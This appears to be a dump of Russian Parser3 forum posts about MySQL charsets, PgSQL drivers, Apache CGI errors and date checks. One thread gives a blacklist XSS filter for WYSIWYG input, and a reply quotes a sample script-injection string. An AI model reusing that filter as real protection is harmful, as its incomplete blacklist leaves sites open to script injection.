Почему задумался - ставил вторую строку на место первой, а она и там не пахала. Ничо, работает уже."
"39026","Я почему-то всегда причину вижу не в том, в чем она есть...\
Вот сейчас, например, у меня игнорируется часть SQL-запросов... но я держусь, и очередного вопроса не задаю. :)"
"39027","А по поводу доки - на мой взгляд, MySQL Reference составлена не идеально, некоторые вещи можно найти только прочесав огромный завал не имеющих отношения к делу документов. Руководство по Parser тоже местами неадекватно: некоторые нюансы упоминаются совсем не там, где им положено было бы.\
\
И кстати - сразу наеду!\
Что это здесь за посылы читать форум?\
Если человек понятия не имеет, что у него за ошибка - хотя бы порекомендуйте, какие запросы делать в поиске, а то как-то трудно искать то, о чем вообще не думаешь. Сегодня искал что-то - увидел \"Читайте форум\" в ответ на чужой вопрос. Принялся перебирать форум - так ничего и не нашел. Большое спасибо, называется. Мы, блин, не от лени такие тупые, а от того, что только начали парсером заниматься."
"39028","'./lib/libparser3pgsql.so' /lib/i686/libc.so.6: version `GLIBC_2.3' not found (required by ./lib/libparser3pgsql.so) [<no type>]\
\
Что бы это значило?\
никто не сталкивался?"
"39029","Странный код. Что он вообще должен проверять? Можете сформулировать?"
"39030","Код должен проверять, существует ли введённая дата. Например, 29 февраля 2005 года или 31 апреля 2005 года — несуществующие даты."
"39031","по вашему описанию: вы всё делаете правильно.\
\
очередная проверка:\
сотрите(переименуйте) файл parser3.cgi, изменится ли что-нибудь?\
\
общее мнение: происходит странное, в котором разобраться = задача вашего администратора.\
\
грамотный администратор веб-сервера разберётся в описанной вами ситуации за 10минут максимум."
"39032","выяснилась ситуация?"
"39033","потом спрашивайте.\
следующий подобный вопрос будет просто удалён."
"39034","Админ не хочет устанавливать парсер аргументируя дословно \"это потенциальный троян, пользуйтесь php\"\
Как убедить начальство?"
"39035","Что-то вроде:\
[code]@checkDate[date][date;check]\
$check[^date::create[$date]]\
$result(^if($date eq \"${check.year}-${check.month}-$check.day\"){1}{0})\
[/code]\
\
И сравнить:\
\
[code]\
^checkDate[2004-2-29]\
^checkDate[2005-2-29]\
[/code]\
\
Формат даты, время если нужно и т.п. - доработать."
"39036","если человек подозревает трояна, у вас всегда есть аргумент — «исходники Parser открыты, можно скачать вот тут, убедиться, что троянского кода нет, скомпилировать парой команд, и использовать [b]получившийся[/b] бинарный файл».\
\
про \"пару команд\", это для случая, когда xml вам не нужен."
"39037","уже второй раз в этой ветке всплывает этот [i]неоптимальный[/i] код.\
\
друзья, есть такое понятие, \"истина\".\
его можно вернуть, скажем, так:\
\
[code]\
@method[]\
$result(1)\
[/code]\
\
или так:\
[code]\
@method[]\
$result(1>0)\
[/code]\
\
или так:\
[code]\
$result($b eq $b)\
[/code]\
\
заметьте: совершенно никакой if тут не нужен!"
"39039","Можно ли при помощи парсера работать с методом PUT? \
Дело в том, что сервер Apache позволяет переводить PUT-запросы на обработку скриптом (см. [url=\"http://www.apacheweek.com/features/put\"]http://www.apacheweek.com/features/put[/url])\
\
Так вот, я очень хочу сохранять по http xml-файлы из моего любимого редактора (Morphon XML Editor) и обрабатывать их парсером."
"39041","В общем такая ситуация - mysql в юникоде, да и вообще вся система юзает юникод, создаю базу, импортирую в нее sql файлик с описанием таблиц + с данными и.. парсер абсолютно не хочет выводить эти данные, вместо русских букв выводит только [b]?[/b], почему говорю парсер - с другими языками (php, perl) таких проблем не было. Использовал все возможные варианты (response|request):charset, \
ClientCharset - никакого результата. Для тестов создал простенькую формочку для текста, и при использовании ClientCharset=windows-1251 и только, если использую utf-8 то часть символов отображается некорректно, но при попытке после работать с этими записями не через парсер возникает проблема - русский там храниться непонятно в какой кодировке.. В поиске немного смотрел, ответа не нашел, дальше искать не могу - последние мегабайты трафика трачу ) Вопрос: где грабли, или я что-то не так делаю\
версия парсера - 3.1.4, mysql - 4.1"
"39044","В таком случае не надо заморачиваться на формат даты, приводить 3 к 03 и т. д. Хотя, конечно, каждому по-своему удобно, нужды разные бывают :-)"
"39046","- в какой кодировке ваши файлы?\
- какая пользовательская кодировка?\
- кодировки sql сервера? (show variables)\
- строка подключения парсера к БД\
- что в request/response?\
\
я почти уверен что вы не смогли перебрать все варианты. это долго."
"39047","Нашел на http://www.egoroff.spb.ru/portfolio/download/\
libparser3pgsql.so, но после установки Parser в логе пишет:\
'./lib/libparser3pgsql.so' /lib/i686/libc.so.6: version `GLIBC_2.3' not found (required by ./lib/libparser3pgsql.so) [<no type>]\
\
Что бы это значило?\
никто не сталкивался?\
Спасибо."
"39048","народ, кто-нибудь пытался настроить его для работы с парсером. Дело в том, что в нем стоит какой-то новый способ аутентификации, а стандартные парсеровские библиотеки его не знают. Мне даже пришлось сменить MySQL Fron на более новый. Проблема не является существенной, тк. у меня есть старая версия MySQL, которая вполне работает уже не один год. Просто интересно, не сталкивался ли кто...."
"39051","и найдите письма, где сказано, что надо собирать и parser и sql драйвер к нему одним компилятором.\
\
диагноз: возьмите и то и другое в одном месте."
"39052","чего хочу - что бы база была в юникоде и все данные тоже в юникоде.\
кодировка файлов  юникод,\
пользовательская - юникод,\
в /etc/mysql/my.cnf - default-character-set=utf8\
| character_set_client            | latin1                                                   |\
| character_set_connection        | latin1                                                   |\
| character_set_database          | utf8                                                     |\
| character_set_results           | latin1                                                   |\
| character_set_server            | utf8                                                     |\
| character_set_system            | utf8                                                     |\
| character_sets_dir              | /usr/share/mysql/charsets/                               |\
| collation_connection            | latin1_swedish_ci                                        |\
| collation_database              | utf8_general_ci                                          |\
| collation_server                | utf8_general_ci                                          |\
^это из show variables\
строка подключения - mysql://tarakan@localhost/data\
#source/client charsets\
$request:charset[utf-8]\
$response:charset[utf-8]\
\
Перебирал варианты - request/response, строка подключения, кодировка файлов,\
кодировку бд не трогал...\
и почему тогда стал отображаться нормально русский при добавлении данных парсером с ClientCharset=windows1251 и в базе данные уже в непонятной кодировке.."
"39053","таблицы/стоблцы точно были созданы в UTF8? (SHOW FULL COLUMNS FROM table)\
\
request/response - поставить UTF-8 и не трогать.\
из строки подключения убрать все что после '?' и не трогать."
"39054","Как же быть?\
Я пробую поставть парсер на другом хосте, а там вместо Мускула PgSQL\
Что посоветуете?"
"39055","SHOW FULL COLUMNS FROM для всех таблиц выдает utf8_general_ci\
убрал в том коде который использует базу с данными залитыми из файлика ?ClientCharset=windows-1251 вылетает на одной странице уже с ошибкой xml - \
[code]\
Entity: line 294: parser error : Input is not proper UTF-8, indicate encoding !\
		title=\"????? ???????? ?????? ??? ???-???????????????? ? ?????? ??????, - &#65533;????\
		                                                                         ^\
Entity: line 294: error: Bytes: 0xAB 0x3F 0x3F 0x3F\
		title=\"????? ???????? ?????? ??? ???-???????????????? ? ?????? ??????, - &#65533;????\
[/code]\
на остальных страницах данные из бд по-прежнему в виде ?.\
Когда через форму сам добавляю данные вот такая строка \
[i]…для добавления новости необходимо заполнить все поля формы[/i]\
превращается в такую - \
[i]…дл&#65533;? добавлени&#65533;? ново&#65533;?ти необходимо заполнить в&#65533;?е пол&#65533;? формы [/i]\
что бы нормально увидеть надпись надо либо request:charset, либо ClientCharset изменить на windows-1251"
"39056","тут вы взяли одно, драйвер.\
возьмите тут и другое, parser."
"39058","см. также http://www.parser.ru/hosters/"
"39059","С предыдущим parser3.cgi (803 кб), Parser работал, хоть и без\
Базы Данных, а тот, что я скачал с http://www.egoroff.spb.ru/portfolio/download/\
parser3.cgi (610 кб), вообще выдает ошибку:\
Internal Server Error\
The server encountered an internal error or misconfiguration and was unable to complete your request."
"39060","в упор не могу найти где исправить.. и на сайте мускуля тоже не нашел где вправлять character_set_client & result...\
orange:/home/andrew# mysqladmin variables | grep character\
| character_set_client            | utf8                                                     |\
| character_set_connection        | utf8                                                     |\
| character_set_database          | utf8                                                     |\
| character_set_results           | utf8                                                     |\
| character_set_server            | utf8                                                     |\
| character_set_system            | utf8                                                     |\
| character_sets_dir              | /usr/share/mysql/charsets/                               |\
вроде написано везде юникод, а вот show variables выдает несколько другое, то что раньше написал.."
"39062","в доке (тут http://www.parser.ru/docs/lang/app3mysql.htm) написано следующее:\
mysql://user:password@host/database?ClientCharset=koi8-r\
Так у меня вообще от этого получается error :((\
\
А реально работает это:\
mysql://user:password@host/database?charset=koi8-r\
или\
mysql://user:password@host/database?charset=cp1251\
(это я в auto.p, который возле парсера лежит чисто случайно подсмотрел)\
Там написано\
#$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251_koi8]\
\
а без charset=cp1251_koi8 при запросе из БД персер у меня вместо русских букв вопросики только шпарил :((\
\
\
Вот такие дела! Может доку подправить малость?\
Я с этими кодировками по умолчанию в MySQL-е парился наверное 2 недели (пересталял разные версии, остановился на 4.1.10a)\
\
MySQL-Front новый временами ващу глючный :( самый главный глюк с том, что он при экспорте в *.sql даты делает в формате русском (вместо 2005-04-15 лепит 15.04.2005), а когда начинаешь делать импорт получаются даты 0000-00-00\
ОСТОРОЖНО с этим!!!!\
\
Я теперь бекаплю и востанавливаю этой прогой\
http://dev.mysql.com/get/Downloads/MySQLAdministrationSuite/mysql-administrator-1.0.19-win.msi/from/http://mysql.tsuren.net/\
\
мне нравится очень"
"39063","Стлкнулся с тем, что защитить сабж довольно сложно. Всего не учтешь. Но я попытался. :)\
Итак. Оператор для защиты текста пришедшего из WYSIWYG редактора.\
Конструктивные комментарии приветствуются.\
[code]\
@clean[intext][intext;repl;clean]\
\
$clean[^intext.match[(<script.*?>)][gi]{}]\
$clean[^intext.match[(<iframe.*?>)][gi]{}]\
$clean[^intext.match[<.*?src=\"(.*?\\.(js|vb))\"][gi]{}]\
$clean[^intext.match[<.*?src=\"(.*?\\.(js|vb))\"][gi]{}]\
$cleanout[^table::create[nameless]{from	to\
^taint[^#0A]	<br>\
</script>	 \
</iframe>	 \
onclick=	 \
onload=	 \
onmouseover=	 \
<!--	 \
-->	 \
'	 &acute^;\
\"	&quot^;\
`	&acute^;\
)	\
}]\
\
$result[^clean.replace[$cleanout]]\
[/code]"
"39064","Прочитал название треда и улыбнулся.\
Самозащита получается."
"39065","наверное во всех кроме первой строки надо так:\
$clean[^clean.\
\
и ещё не уловил прикола: зачем 2 раза match с src?"
"39067","поддерживается и тот и другой формат перекодировок.\
charset=cp1251_koi8 просто говорит после подключения к mysql:\
SET CHARACTER SET cp1251_koi8\
\
а используя ClientCharset= можно перекодировать самим парсером (это работает начиная с какой-то версии, я сам ни разу не использовал)"
"39068","конец дня :) в работе вот такое\
[code]\
@clean[intext][intext;cleanout;clean]\
\
$clean[^intext.match[(<script.*?>)][gi]{}]\
$clean[^clean.match[(<iframe.*?>)][gi]{}]\
$clean[^clean.match[<.*?src=\"(.*?\\.(js|vb))\"][gi]{}]\
$cleanout[^table::create[nameless]{from	to\
</script>	 \
</iframe>	 \
onclick=	 \
onload=	 \
onmouseover=	 \
<!--	 \
-->	 \
'	 &acute^;\
\"	&quot^;\
`	&acute^;\
)	\
}]\
\
$result[^clean.replace[$cleanout]]\
\
[/code]"
"39069","Вопрос уже 5 часов висит...\
Помоготе подрулить Parser к PgSQL !!!\
Плииииз!!!!\
\
С предыдущим parser3.cgi (803 кб), Parser работал, хоть и без\
Базы Данных, а тот, что я скачал с http://www.egoroff.spb.ru/portfolio/download/\
parser3.cgi (610 кб), вообще выдает ошибку:\
Internal Server Error\
The server encountered an internal error or misconfiguration and was unable to complete your request."
"39070","А какую дату хочется проверить?\
Если набор int'ов, да, подход правильный, а если в sql-формате?"
"39072","http://www.parser.ru/forum/?id=39062\
\
я не заметил, что тут рядом те же грабли обсуждают"
"39073","...появилась возможность выполнять перекодироваки [b]парсером[/b]?\
\
http://www.parser.ru/news/ и Ctrl+F ClientCharset"
"39074","хм.. как умею =)\
andrew@orange:~% mysql -utarakan\
Welcome to the MySQL monitor.  Commands end with ; or \\g.\
Your MySQL connection id is 13 to server version: 4.1.10a-Debian_2-log\
\
Type 'help;' or '\\h' for help. Type '\\c' to clear the buffer.\
\
mysql> show variables;\
и там как раз\
character_set_client            | latin1                                                   |\
| character_set_connection        | latin1                                                   |\
| character_set_database          | utf8                                                     |\
| character_set_results           | latin1                                                   |\
| character_set_server            | utf8                                                     |\
| character_set_system            | utf8\
\
а вот mysqladmin variables - совсем другое..\
Кстати возникает подозрение что прав именно show variables, ибо если слушать mysqladmin то как я понял таких проблем быть не должно.."
"39075","Мне тоже интересено. Были некоторые мысли, например:\
\
Обрабатывать каждый блок в отдельности и потом потом объединять их в одно целое. Но так очень накладно получается.\
\
Второй способ мне самому больше нравиться, да и оптимальнее он.\
\
XML объекта будет иметь примерно такой вид:\
[code]\
<doc>\
   <name>...</name>\
   ...\
\
   <blocks>\
      <block template=\"3\">\
         ...\
      </block>\
   </blocks>\
</doc>\
[/code]\
\
А для каждого блока будет отдельный XSLT шаблон подключатся, обрабатывающий [code]block[@template=\"...\"][/code]"
"39076","Несколько оффтопик:\
\
IMHO если подчищать текст после редактирования - то это не совсем получается WYSIWYG - а получится -WHat you see is waht you get BEFORE My Cleanup. \
Быть может это (очистку) стоит делать прям в редакторе с помощбю JS ?\
К тому же есть весьма приятный визивиг на JS который производит ЧИСТЫЙ HTML и после небольшой доработки XHTML. Поскольку редактор на JS и полностью OpenSource - то связывается с парсром моментально и вполне \"легально\". Там кстати можно настроить на отлов любых тегов. Короче кастомизируется он идеально. Название этого чуда - [url=\"http://tinymce.moxiecode.com/\"]TimyMCE[/url].\
Но недостатки у него конэшно тоже имеются! :-)"
"39077","обещали же в FAQ сунуть...\
точно ПАФ постил, но не могу найти уже полчаса рыскаю по форуму..."
"39079","# uname -a\
FreeBSD disten.vosmb.ru 5.4-PRERELEASE FreeBSD 5.4-PRERELEASE #7: Sat Mar 12 21:20:01 MSK 2005     Larrikin@disten.vosmb.ru:/usr/obj/usr/src/sys/DISTEN  i386\
\
кусок конфига апача:\
[code]\
<VirtualHost *>\
                DocumentRoot \"/www/gon.larrikin.ru/html/\"\
                ServerName \"gon.larrikin.ru\"\
                ServerAlias \"www.gon.larrikin.ru\"\
                user vhost-3-\
                group vhost-3-\
                ErrorLog /www/gon.larrikin.ru/logs/error_log\
                CustomLog /www/gon.larrikin.ru/logs/access_log combined\
                ScriptAlias /cgi-bin/ \"/www/gon.larrikin.ru/cgi-bin/\"\
                <Directory \"/www/gon.larrikin.ru/cgi-bin/\">\
                    AllowOverride None\
                    Options None\
                    Order allow,deny\
                    Allow from all\
                </Directory>\
                AddHandler parser3-handler html\
                Action parser3-handler /cgi-bin/parser3.cgi\
                <Files ~ \"\\.p$\">\
                    Order allow,deny\
                    Deny from all\
                </Files>\
                DirectoryIndex index.html\
                <Directory /www/gon.larrikin.ru/html/>\
                    Options None\
                    AllowOverride None\
                    Order allow,deny\
                    Allow from all\
                </Directory>\
                RLimitMEM   32000000 32000000\
                RLimitCPU   10       30\
                RLimitNPROC 60       60\
</VirtualHost>\
[/code]\
\
http://gon.larrikin.ru/cgi-bin/parser3.cgi выдает 500, в логе такое добавляется при каждом F5:\
[code]\
\
failed to open log file\
fopen: No such file or directory\
[Tue Apr  5 17:19:59 2005] [error] [client 192.168.1.27] Premature end of script headers: /www/gon\
[/code]\
\
в консоле на сервере работает, страницы обрабатывает...\
об чем эта ошибка? не могу найти концов куда копать..."
"39080","в htaccess прописано:\
---------------------------------------------------------\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
ErrorDocument	404	/404.html\
\
<Files ~ \"\\.(p|cfg|dat|access)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
<Files ~ \"^add_(news|sol)\\.html$\">\
AuthUserFile /var/www/pass/.htpasswd\
AuthName \" \"\
AuthType Basic\
require valid-user\
</Files>\
\
#RewriteEngine On\
#RewriteCond %{DOCUMENT_ROOT}%{REQUEST_FILENAME} !-f\
#RewriteRule ^/([0-9a-zA-Z_\\\\\\/\\.%]+)\\.html$     /view.html?doc=$1       [QSA]\
#RewriteRule ^/([0-9a-zA-Z_\\\\\\/\\.%]+)\\.print$    /print.html?doc=$1      [QSA]\
---------------------------------------------------------\
\
Вообще все файлы сайта имеют расширение dat, но я переименовал index.dat в index.html и тут сервер выдал 500 ошибку, а в логе написал:\
[Wed Apr 06 12:16:18 2005] [error] [client 195.9.241.214] /home/localhost/cgi-bin/parser3.cgi is not executable; ensure interpreted scripts have \"#!\" first line\
[Wed Apr 06 12:16:18 2005] [error] [client 195.9.241.214] couldn't spawn child process: /home/localhost/cgi-bin/parser3.cgi\
\
Что делать? Помогите пожалуйста"
"39081","Если в классе нет метода create, то ошибка не будет отловлена. Это связано с тем, что process выполняется в текущем контексте?\
[code]\
^try{\
	^process{^^${data_process_class}::create[]]}[\
		$.main[$data_process_main]\
	]\
\
	$PROCESSES.[$data_process_id].main[$$data_process_main]\
}{\
	$exception.handled(1)\
}\
[/code]"
"39082","Можно ли динамически задать базовый класс для класса?"
"39083","Так подскажет кто?\
Где взять Parser + PgSQL driver?\
Тот, Parser v3.1.4 — CGI , что на http://www.egoroff.spb.ru/portfolio/download/\
вообще отказался работать."
"39084","[quote]Посмотрите в лог ошибок веб-сервера, а также suexec.log (если такой есть), там подробно написано, что случилось.\
Типичная ошибка, «Premature end of script headers», означает, что вы забыли поставить бит «executable» или выбрали версию Parser, не соответствующую операционной системе вашего сервера (уточните ее у системного администратора).\
Также причиной может быть то, что вы «закачали» исполняемый файл на сервер не в режиме binary. В этом случае размер закачаного файла будет отличаться от файла, лежащего на вашем локальном диске.\
Другой причиной может являться опечатка в .htaccess файле, запись в лог файле будет содержать подробное указание, что вы сделали не так.\
[b]В случаях, когда в логе вы увидите иную ошибку, ее текст подскажет вам, как ее исправить.[/b][/quote]"
"39085","обычно построение защит на исключении «неправильных» случаев — неправильно.\
\
правильно — строить список «разрешённого», и [b]всё[/b], не попадающее под разрешения считать нарушениями.\
\
в отношении XHTML можно подумать о добавлении в Parser варианта xdoc::create, который будет [b]проверять[/b] DTD."
"39086","очевидно, кроме него и вас, пока никому PgSQL не нужен.\
соответственно, или разбиритесь с последним приведённым вами сообщением сами (при помощи, FAQ, конечно).\
\
или соберите всё из исходников (это вовсе не так страшно, как кажется).\
\
или попросите собрать Parser из исходников дружественного вам администратора вашего хостинга.\
\
если вам нужен Parser без XML, то собирается он двумя командами."
"39087","похоже, каталога /www/gon.larrikin.ru/logs нет"
"39089","По порядку:\
1. Посмотрите в лог ошибок веб-сервера\
   <к сожалению у меня нет к нему доступа>\
2. вы забыли поставить бит «executable» или выбрали версию Parser, не соответствующую операционной системе\
   <на сервере стоит Linux 7.2, и я скачал с http://www.egoroff.spb.ru/portfolio/download/ под Linux RedHat 8.0\
   на странице \"Скачать\" c Parser.ru, я всзял parser3_1_4_redhat73_cgi.tar.gz и он работает, но нет дров под PgSQL\
   Весь комплект parser + driver забрал с http://www.egoroff.spb.ru/portfolio/download/ тогда выдает ошибку.>\
3. Также причиной может быть то, что вы «закачали» исполняемый файл на сервер не в режиме binary\
   опечатка в .htaccess файле\
   < нет, все правильно, возвращяю старый parser3.cgi все работает(кроме базы)>\
4."
"39091","[code]\
root@disten /chroot/apache/www/gon.larrikin.ru/logs # ll\
total 18\
-rw-r--r--  1 vhost-3-  vhost-3-  14482 Apr  5 21:23 access_log\
-rw-r--r--  1 vhost-3-  vhost-3-    941 Apr  5 21:23 error_log\
root@disten /chroot/apache/www/gon.larrikin.ru/logs # tail error_log\
[Tue Apr  5 17:11:38 2005] [error] [client 192.168.1.27] Premature end of script headers: /www/gon.larrikin.ru/cgi-bin/parser3.cgi\
failed to open log file\
fopen: No such file or directory\
[Tue Apr  5 17:16:05 2005] [error] [client 192.168.1.27] Premature end of script headers: /www/gon.larrikin.ru/cgi-bin/parser3.cgi\
failed to open log file\
fopen: No such file or directory\
[Tue Apr  5 17:19:59 2005] [error] [client 192.168.1.27] Premature end of script headers: /www/gon.larrikin.ru/cgi-bin/parser3.cgi\
failed to open log file\
fopen: No such file or directory\
[Tue Apr  5 17:23:37 2005] [error] [client 192.168.1.27] Premature end of script headers: /www/gon.larrikin.ru/cgi-bin/parser3.cgi\
[/code]\
\
может модуля какого не хватает апачу?\
[code]\
# =================================================\
# Basic settings\
# =================================================\
ServerType standalone\
ServerRoot \"/usr/local/apache\"\
PidFile /usr/local/apache/logs/httpd.pid\
ScoreBoardFile /usr/local/apache/logs/httpd.scoreboard\
ResourceConfig /dev/null\
AccessConfig /dev/null\
\
# =================================================\
# Performance settings\
# =================================================\
Timeout 300\
KeepAlive On\
MaxKeepAliveRequests 100\
KeepAliveTimeout 15\
MinSpareServers 5\
MaxSpareServers 10\
StartServers 5\
MaxClients 150\
MaxRequestsPerChild 0\
\
# =================================================\
# Apache's modules\
# =================================================\
ClearModuleList\
AddModule mod_log_config.c\
AddModule mod_mime.c\
AddModule mod_dir.c\
AddModule mod_access.c\
AddModule mod_auth.c\
AddModule mod_actions.c\
AddModule mod_alias.c\
AddModule mod_cgi.c\
\
# =================================================\
# General settings\
# =================================================\
Port 80\
User apache\
Group apache\
ServerAdmin Larrikin@newmail.ru\
UseCanonicalName Off\
ServerSignature Off\
HostnameLookups Off\
ServerTokens Prod\
<IfModule mod_dir.c>\
    DirectoryIndex index.html\
</IfModule>\
DocumentRoot \"/www\"\
\
# =================================================\
# Access control\
# =================================================\
<Directory />\
    Options None\
    AllowOverride None\
    Order deny,allow    \
    Deny from all\
</Directory>\
\
# =================================================\
# MIME encoding\
# =================================================\
<IfModule mod_mime.c>\
    TypesConfig /usr/local/apache/conf/mime.types\
</IfModule>\
\
DefaultType text/plain\
\
<IfModule mod_mime.c>\
    AddEncoding x-compress Z\
    AddEncoding x-gzip gz tgz\
    AddType application/x-tar .tgz\
</IfModule>\
\
# =================================================\
# Logs\
# =================================================\
LogLevel warn\
LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" combined\
LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b\" common\
LogFormat \"%{Referer}i -> %U\" referer\
LogFormat \"%{User-agent}i\" agent\
ErrorLog /usr/local/apache/logs/error_log\
CustomLog /usr/local/apache/logs/access_log combined\
\
# =================================================\
# PHP module\
# =================================================\
AddModule mod_php4.c\
AddType application/x-httpd-php .php\
AddType application/x-httpd-php .inc\
AddType application/x-httpd-php .class\
\
# =================================================\
# Virtual hosts\
# =================================================\
NameVirtualHost *\
\
# gon.larrikin.ru\
<VirtualHost *>\
		DocumentRoot \"/www/gon.larrikin.ru/html/\"\
		ServerName \"gon.larrikin.ru\"\
		ServerAlias \"www.gon.larrikin.ru\"\
		user vhost-3-\
		group vhost-3-\
		ErrorLog /www/gon.larrikin.ru/logs/error_log\
		CustomLog /www/gon.larrikin.ru/logs/access_log combined\
	        ScriptAlias /cgi-bin/ \"/www/gon.larrikin.ru/cgi-bin/\"\
	        <Directory \"/www/gon.larrikin.ru/cgi-bin/\">\
		    AllowOverride None\
		    Options None\
		    Order allow,deny\
		    Allow from all\
		</Directory>\
		AddHandler parser3-handler html \
		Action parser3-handler /cgi-bin/parser3.cgi\
		<Files ~ \"\\.p$\">\
		    Order allow,deny \
		    Deny from all \
		</Files>\
		DirectoryIndex index.html\
		<Directory /www/gon.larrikin.ru/html/>\
		    Options None\
		    AllowOverride None\
		    Order allow,deny\
		    Allow from all\
		</Directory>\
		RLimitMEM   32000000 32000000\
		RLimitCPU   10       30\
		RLimitNPROC 60       60\
</VirtualHost>\
[/code]"
"39093","Уж лучше \"WHat you see is waht you get BEFORE My Cleanup\"\
чем <script>alert('Администратор - ЛОХ!')</script> или еще какая-нибудь кака из этого разряда.\
 [quot]стоит делать прям в редакторе с помощбю JS.[/quot]\
А жизнь научила что клиент, зачастую, неправ :)\
И проверять все это добро надо сервером."
"39095","шкурный интерес возьми и возникни ;)"
"39096","Хотелось бы иметь такую возможность:\
\
[code]\
$str[www.parser.ru?user=admin] \
^if(^str.match[ \
    \\? #есть разделитель \
    (.+) #и есть хоть что-то за ним \
][x]){Параметры запроса: $match.1}{Параметров нет}\
[/code]"
"39097","ну например сеичас \"метод match возвращает булево значение правда/ниправда\" или \"метод match возвращает таблицу значений...\", в предложенном вами варианте получается \"метод match возвращает булево (если я правильно понял), при этом, как побочное действие, создается глобальная(?) таблица match с результатами совпадений\".\
\
В общем, получается как-то не красиво, и не в духе Парсера, наверное."
"39098","Но еще показать нечего.\
\
Работы очень много. А я не программист на Си. Но прогресс есть.\
Судя по всему, в процессе еще прикручу БЕСПЛАТНО sqlite. Там  все оказалось несколко проще, чем виделось раньше."
"39099","в коде скрипта пишу - \
[code]\
...\
^if(def $form:var){\
    $vars[^table::sql{\
        show variables\
    }]\
}\
....\
^if(def $form:var){\
    ^vars.menu{\
        <b>$vars.Variable_name</b> - <font color=\"red\">$vars.Value</font>\
    }[<br />]\
}\
\
[/code]\
и получаю в итоге - \
[i]\
character_set_client - latin1\
character_set_connection - latin1\
character_set_database - utf8\
character_set_results - latin1\
character_set_server - utf8\
character_set_system - utf8\
character_sets_dir - /usr/share/mysql/charsets/\
collation_connection - latin1_swedish_ci\
collation_database - utf8_general_ci\
collation_server - utf8_general_ci\
[/i]\
Просьба к знающим - как искправить?"
"39100","Можно ли реализовать на парсере такую форму:\
\
Кнопки (Жирным) (Курсивом) (URL) (Цитата)\
----------------------------------------------\
Поле ввода текста\
----------------------------------------------\
Кнопки (Добавить) (Очистить)\
\
При выделение текта и нажатии на одну из кнопок, он обрамляется тэгами, ака [b]жирный[/b] [i]наклонный[/i], но так чтобы в поле ввода не отображались [-b-][-i-] и т.п.?\
Кто знает ака HTML Area. Как это можно реализовать?"
"39101","вроде делаете правильно. после подключения консолькой должна быть установлены кодировки по умолчанию. почему у вас latin1 я не знаю.\
лучше разобраться и исправить.\
\
если бы вам было не лень читать доку вы бы уже нашли другой [url=\"http://dev.mysql.com/doc/mysql/en/charset-connection.html\"]способ[/url]: после соединения клиент может сообщить серверу в какой кодировке он будет принимать/отправлять данные:\
\
SET CHARACTER SET charset_name (в принципе эту-же команду выполняет  ?charset= в строке подключения, хотя до 4.1 там был только один возможный charser: cp1251_koi8).\
\
так-же можно посмотреть на SET character_set_client|character_set_results|character_set_connection\
\
естественно после того как вы подключились к серверу и установили соединение нужно заново сделать insert/update записи и select её, чтобы удостовариться что все хорошо."
"39103","[code]$str[www.parser.ru?user=admin] \
$res[^str.match[ \
    \\? #есть разделитель \
    (.+) #и есть хоть что-то за ним \
][x]]\
^if($res){Параметры запроса: $res.1}{Параметров нет}[/code]"
"39105","У меня была такая же проблема. Решил так:\
1) [b]Заменил libmySQL.dll[/b], который идёт с Parser'ом на libmySQL.dll, который идёт с MySQL (расположен в папке admin)\
2) Создавая базу данных [b]поставил сравнение cp1251_bin[/b]\
Таблицы создавал тоже с сравнением:\
[code]\
CREATE TABLE `test` (\
  `id` int(11) NOT NULL auto_increment,\
  `type` varchar(10) collate cp1251_bin NOT NULL default '',\
  `date` date default NULL,\
  PRIMARY KEY  (`id`)\
) ENGINE=InnoDB DEFAULT CHARSET=cp1251 COLLATE=cp1251_bin;\
[/code]\
3) [b]Добавил к строке подключения в Parser'е кодировку cp1251[/b]\
[code]\
$SQL.connect-string[mysql://пользователь:пароль@хост/таблица?charset=cp1251]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string]]\
[/code]"
"39106","Доку не лень было читать, и про SET CHARACTER SETя видел но этот вариант не подходит - если завтра мне придется ставить cms на сервер с бд в кои8 например мне придется во всех запросах менять кодировку, а так я меняю только $connect_string в одном единственном auto.p. А вот то что в ?charset= можно приписать не только cp1251_koi8 я че-то не догадался и шаманил только с ?ClientCharset.\
Вообще как я понял это глюк конкретно моей mysql... надо новые бинарники качать, благо уже 2 апдейта есть.."
"39108","почему SET CHARACTER SET не подходит?\
вы пишите перед каждым запросом:\
^connect[$SQL.connect-string]{\
запрос\
}\
?\
\
у меня с моими SQL классами достаточно перекрыть метод @server[] (добавить ^void:sql{SET CHARACTER SET ...}) и все.\
\
с ClientCharset играться можно если соединение драйвера и сервера проходят нормально и данные не искажаются. например у вас в MySQL все в UTF, а файлики в 1251. тогде можно все дело настроить так что драйвер с сервером будут общаться в utf, а парсеру драйвер будет перед выдачей их перекодировать. но если это может делать сам сервер/драйвер - пусть они этим и занимаются."
"39110","Доброе время суток ALL.\
\
Решил поставить парсер на freebsd  4.10 и apache 2.0.52, при этом на linux RH 7.3 и apache 1.3 все работало.\
Причина, все ни как не могу заставить парсер обрабатывать html документы.\
Сначала как в faq описано  создал .htaccess в котором прописали\
--------------------------------- .htaccess ----------------------------------\
AddHandler parser3-handler html \
Action parser3-handler /cgi-bin/parser3 \
<Files ~ \"\\.p$\"> \
Order allow,deny \
Deny from all \
</Files> \
-----------------------------------------------------------------------------\
В httpd.conf заменили AllowOverride None на AllowOverride FileInfo \
\
В итоге виден код парсера.\
\
\
Тогда вношу мзменения\
<VirtualHost *>\
ServerName www.host.dep\
DocumentRoot /var/www/web\
ErrorLog logs/www.host.dep-error_log\
CustomLog logs/www.host.dep-access_log common\
AddHandler parser3-handler html \
Action parser3-handler /cgi-bin/parser3 \
<Files ~ \"\\.p$\"> \
Order allow,deny \
Deny from all \
</Files> \
</VirtualHost>\
\
В итоге получаем\
\
Error 404\
Not Found\
\
The requested URL /cgi-bin/parser3/index.html was not found on this server.\
Apache Server at mirror2.host.dep Port 80\
\
http://www.host.dep/cgi-bin/parser3.cgi\
выдает \
Not Found\
The requested URL /cgi-bin/parser3.cgi was not found on this server.\
\
Apache/1.3.23 Server at www.host.dep Port 80\
\
Когда все почистил то при обращении http://www.host.dep/cgi-bin/parser3.cgi\
выдаеть \
Parser/3.1.4 (compiled on i386-unknown-freebsd4.10)\
\
В чем траблы?"
"39111","а через $request:query никак что-ли?\
^if($request:query){Параметры запроса: $request:query }{Параметров нет}\
\
И накой все эти матчи?\
